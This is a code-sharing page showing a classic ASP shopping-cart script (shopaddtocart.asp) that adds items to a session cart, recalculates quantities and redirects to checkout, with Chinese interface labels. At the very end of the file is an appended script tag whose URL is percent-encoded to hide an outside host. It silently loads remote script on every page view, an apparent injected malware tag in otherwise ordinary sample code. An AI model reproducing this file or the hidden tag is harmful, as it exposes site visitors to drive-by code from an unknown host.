⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 shopaddtocart.asp

📁 vb的一个事例,简单了一点,但实用的一个电子超市系统
💻 ASP
字号:
<%Response.buffer=TRUE%>
<!-- #include file="shop$db.asp" -->
<%
'*********************************************************************************
' This routine
' with no parameters displays current cart
' with productid and quantity , adds a product to the cart
' reprocesses form for recalculation 
' April 1, 2000
'*******************************************************
Dim prodid, quantity, arrCart, scartItem

Dim strAction
'******************************
' This form can call itself.
' We need to know if it is a new product add or just a recalculation
' Inputs are productid, quantity
'
'*******************************
strAction = Trim(Request.Form("action"))
if strAction<>"" then
   ReprocessForm
else
   ProcessNewadd
end if

' new item is to be added to cart
Sub ProcessNewAdd()
Dim rc
ShopInit
GetInputValues
arrCart = Session("MyCart")
scartItem = Session("cartItem")
If scartItem = 0 and prodid="" Then
	Response.Redirect "shoperror.asp?msg=" & Server.URLEncode ("您的购物车里还没有任何商品!")
End If
If prodid <> "" Then
    CartAddItem prodid, rc
    if rc > 0 then
               sError="Item not found in database id="  & prodid
    end if 
end if
DisplayForm
end sub

Sub GetInputValues 
' Keys are
'  productid = a number in the database
'  quantity  = a number of items
'  db = database to change the session database
'
Dim sOption
Dim optionnum
Dim maxFeatures
prodid = Request.Form("productid")
quantity = Request.Form("quantity")
if prodid ="" then
    prodid=Request.querystring("productid")
    quantity = Request.querystring("quantity")
end if
'Response.write "Product=" & prodid & " quantity " & quantity
' There can be up to 4 different features for a product option1, option2
maxfeatures=cMaxFeatures
Session("Maxfeatures")=maxfeatures
for i =1 to MaxFeatures
   sOption= "Feature" & i
   ProductOptions(i)=request.form(soption)
'   response.write " i=" & i & " Feature= " & ProductOptions(i)
   If ProductOptions(i)="" then
          ProductOptions(i)=request.querystring(soption)
   end if
next
end sub
Sub ReprocessForm
arrCart = Session("MyCart")
scartItem = Session("cartItem")
Select Case strAction
Case "继续购物"
          if session("home") <> "" then
              Response.Redirect Session("home")
           else 
	      Response.Redirect "default.asp"
           end if
  
	
Case "重新计算"
'        Response.write "recalculating"

Dim quantities(20)
	For i = 1 To scartItem
	Dim tquantity
	tquantity = Request.Form("Quantity" & Cstr(i))
        if Not isnumeric(tquantity) then 
          tquantity=1
        end if
        If tquantity < 0 then
             tquantity = abs(tquantity)
        end if 
    	arrCart(cQuantity,i) = CInt(tquantity)
        Quantities(i)=tquantity
	Next
	
	For i = 1 to scartItem
	Dim confirm
	confirm = Request.Form("selected" & CStr(i))
'       if quantity is zero also remove
	If confirm <> "yes" or  quantities(i)=0 Then  
'	If confirm <> "yes" Then
		scartItem = scartItem - 1
		Dim x
		For x = 1 to UBound(arrCart,1)
				arrCart(x,i) = ""
			Next
			Dim n
			n = i
			while n < UBound(arrCart,2)
				For x = 1 to UBound(arrCart,1)
					arrCart(x,n) = arrCart(x,n + 1)
					arrCart(x,n + 1) = ""
				Next
				n = n + 1
			wend	
	end If
	Next
	Session("cartItem") = scartItem
	Session("MyCart") = arrCart


Case "去收银台"
	Response.Redirect "shopcustomer.asp"

End Select
DisplayForm
End Sub

' Sub display form
Sub DisplayForm()
ShopPageHeader
arrCart = Session("MyCart")
scartItem = Session("cartItem")
FormatFormFields
ShopPageTrailer
end sub

' Format form
Sub FormatFormFields
%>
<center>
<table border="0" width="600" cellpadding="4">
  <tr>
    <td width="100%" valign="top"> 
      <h3 align="center">购物车里的商品种类:&nbsp;<%=scartitem%></h3>
    </td>
  </tr>
  <tr>
    <td valign="top"> 以下是您所购买的商品清单。<br>
      您可以改变购买的数量,或通过取消复选框来清除所购买的商品,然后单击重新计算! 
  </table>
<P>
<FORM action="shopaddtocart.asp" method="POST">
<%
dim allowdelete
allowdelete="TRUE"
CartFormat allowdelete
%>
     
<br><INPUT name="action" type=submit value="继续购物">
  &nbsp; 
  <INPUT name=action type=submit value="重新计算">
 &nbsp;<INPUT name=action type=submit value="去收银台">
<P> 
</P></FORM>
<%
End Sub
%><script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -